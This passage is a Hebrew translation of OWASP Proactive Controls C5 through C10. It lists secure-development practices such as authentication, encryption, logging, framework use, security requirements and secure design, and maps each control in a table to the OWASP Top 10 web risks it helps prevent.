OWASP-C5 – יישם בקרות זהות ואימות אימות (Authentication) הינו מנגנון וידוא כי אדם או זהות הוא אכן מי שהוא טוען שהוא, כאשר ניהול זהות הינו נושא רחב יותר אשר כולל לא רק אימות מנגנון ניהול שיחה (session management), אלא מכסה גם נושאים מורכבים כגון איחוד זהויות, SSO, כלי ניהול סיסמאות, מאגרי זהויות ועוד	**מונע:** **A2 – הזדהות שבורה ומנגנון ניהול שיחה** יכולת של היישום הקשורה להזדהות ומנגנון ניהול שיחה (session management) לרוב אינן ממומשים כראוי, דבר המאפשר לתוקפים לפגום בסיסמאות, מפתחות או session tokens, או לנצל מימושים פגומים על-מנת להשיג זהות של משתמשים אחרים.
OWASP-C6 – הגן על מידע ופרטיות הצפנת מידע בעת אחסון ובעת תעבורה ברשת	**מונע:** **A6 – חשיפת מידע רגיש** מידע רגיש דורש הגנה נוספת כגון הצפנה בעת אחסון או בתעבורה ברשת, וכן אמצעי זהירות בעת העברה לדפדפן.
OWASP-C7 – יישם תיעוד, טיפול בשגיאות ואמצעים לזיהוי חדירות	**מונע:** **A1 – הזרקת קוד זדוני (Injection)** **A2 – הזדהות שבורה ומנגנון ניהול שיחה** **A3 – Cross-Site Scripting (XSS)** **A4 – אזכור ישיר לרכיב לא מאובטח** **A5 – ניהול תצורה לא מאובטח** **A6 – חשיפת מידע רגיש** **A7 – חוסר בבקרת גישה ברמת היישום** **A8 – Cross-Site Request Forgery (CSRF)** **A9 – שימוש ברכיבים עם פגיעויות ידועות** **A10 – הפניות והעברות לא מאומתות**
OWASP-C8 – שימוש בתכונות אבטחה של מסגרות עבודה (Frameworks) וספריות (Libraries) אבטחה להתחיל מאפס כשהדבר נוגע לפיתוח בקרות אבטחה עשוי להוביל לבזבוז זמן וכמות עצומה של חורי אבטחה. פיתוח מאובטח של ספריות (Libraries) מסייע למפתחים להגן מפני פגמי אבטחה הקשורים לתכנון ומימוש של יישומים. זה קריטי לשמור על מסגרות עבודה (Frameworks) וספריות (Libraries) מעודכנות. לדוגמא: • בחר בסיס נתונים המיישם בצורה טובה Object relational mapping (ORM) • בחר מסגרת עבודה (Framework) המכילה מנגנוני בקרת גישה מובנים • בחר מסגרת עבודה (Framework) המכילה הגנות מובנות מפני מתקפת CSRF	**מונע:** **A1 – הזרקת קוד זדוני (Injection)** **A2 – הזדהות שבורה ומנגנון ניהול שיחה** **A3 – Cross-Site Scripting (XSS)** **A4 – אזכור ישיר לרכיב לא מאובטח** **A5 – ניהול תצורה לא מאובטח** **A6 – חשיפת מידע רגיש** **A7 – חוסר בבקרת גישה ברמת היישום** **A8 – Cross-Site Request Forgery (CSRF)** **A9 – שימוש ברכיבים עם פגיעויות ידועות** **A10 – הפניות והעברות לא מאומתות**
OWASP-C9 – כלול דרישות אבטחת מידע חשוב לכלול דרישות אבטחת מידע בשלבים מוקדמים של מחזור חיי הפיתוח. קיימים שני סוגים של דרישות אבטחה: • דרישות פונקציונליות (יכולות גלויות וניתנות לבדיקות QA ביישום) • דרישות אשר אינן קשורות לפונקציונליות (יכולות חבויות/אינן בעלות יכולת בדיקה ע"י צוות ה-QA)	**מונע:** **A1 – הזרקת קוד זדוני (Injection)** **A2 – הזדהות שבורה ומנגנון ניהול שיחה** **A3 – Cross-Site Scripting (XSS)** **A4 – אזכור ישיר לרכיב לא מאובטח** **A5 – ניהול תצורה לא מאובטח**

דרישות אבטחה כוללות: • דרישות לגבי חיסיון המידע • דרישות לגבי מהימנות המידע • דרישות לגבי אימות והרשאות • דרישה לגבי ביקורת וחיווי • דרישות לגבי מנגנון ניהול שיחה (session management) • דרישות לגבי שגיאות ומנגנוני החרגה (exception management) • דרישות לגבי הגדרת משתנים • דרישות לגבי היסטוריה/ארכיון • מגבלות הנוגעות לחוקים ותאימות לתקנים	**A6 – חשיפת מידע רגיש** **A7 – חוסר בבקרת גישה ברמת היישום** **A8 – Cross-Site Request Forgery (CSRF)** **A9 – שימוש ברכיבים עם פגיעויות ידועות** **A10 – הפניות והעברות לא מאומתות**
OWASP-C10 – תכנון וארכיטקטורה מאובטחים שיקולי תכנון: • חיסיון המידע • זמינות • אימות • חיווי/בקרה • הרשאות מינימליות (Least privilege) • הפרדת תפקידים • הגנה בשכבות • הגנה מאובטחת מפני כשלון (Fail secure)	**מונע:** **A1 – הזרקת קוד זדוני (Injection)** **A2 – הזדהות שבורה ומנגנון ניהול שיחה** **A3 – Cross-Site Scripting (XSS)** **A4 – אזכור ישיר לרכיב לא מאובטח** **A5 – ניהול תצורה לא מאובטח** **A6 – חשיפת מידע רגיש** **A7 – חוסר בבקרת גישה ברמת היישום** **A8 – Cross-Site Request Forgery (CSRF)** **A9 – שימוש ברכיבים עם פגיעויות ידועות** **A10 – הפניות והעברות לא מאומתות**

מיפוי: עשרת הבקרות לעשרת הסיכונים

	A1 – הזרקת קוד זדוני (Injection)	A2 – הזדהות שבורה ומנגנון ניהול שיחה	A3 – Cross-Site Scripting (XSS)	A4 – אזכור ישיר לרכיב לא מאובטח	A5 – ניהול תצורה לא מאובטח	A6 – חשיפת מידע רגיש	A7 – חוסר בבקרת גישה ברמת היישום	A8 – Cross-Site Request Forgery (CSRF)	A9 – שימוש ברכיבים עם פגיעויות ידועות	A10 – הפניות והעברות לא
OWASP-C1 – שאילתות מבוססות משתנים	✓									
OWASP-C2 – קידוד נתונים	✓		✓							
OWASP-C3 – בדיקת קלטים	✓		✓							✓
OWASP-C4 – יישם בקרות גישה מתאימות				✓			✓			
OWASP-C5 – יישם בקרות זהות ואימות		✓								
OWASP-C6 – הגן על מידע ופרטיות						✓				
OWASP-C7 – יישם תיעוד, טיפול בשגיאות ואמצעים לזיהוי חדירות	✓	✓	✓	✓	✓	✓	✓	✓	✓	✓
OWASP-C8 – שימוש בתכונות אבטחה של מסגרות עבודה (Frameworks) וספריות (Libraries) אבטחה	✓	✓	✓	✓	✓	✓	✓	✓	✓	✓
OWASP-C9 – כלול דרישות אבטחת מידע	✓	✓	✓	✓	✓	✓	✓	✓	✓	✓
OWASP-C10 – תכנון וארכיטקטורה מאובטחים	✓	✓	✓	✓	✓	✓	✓	✓	✓	✓

מסמך זה תורגם ע"י אייל אסטרין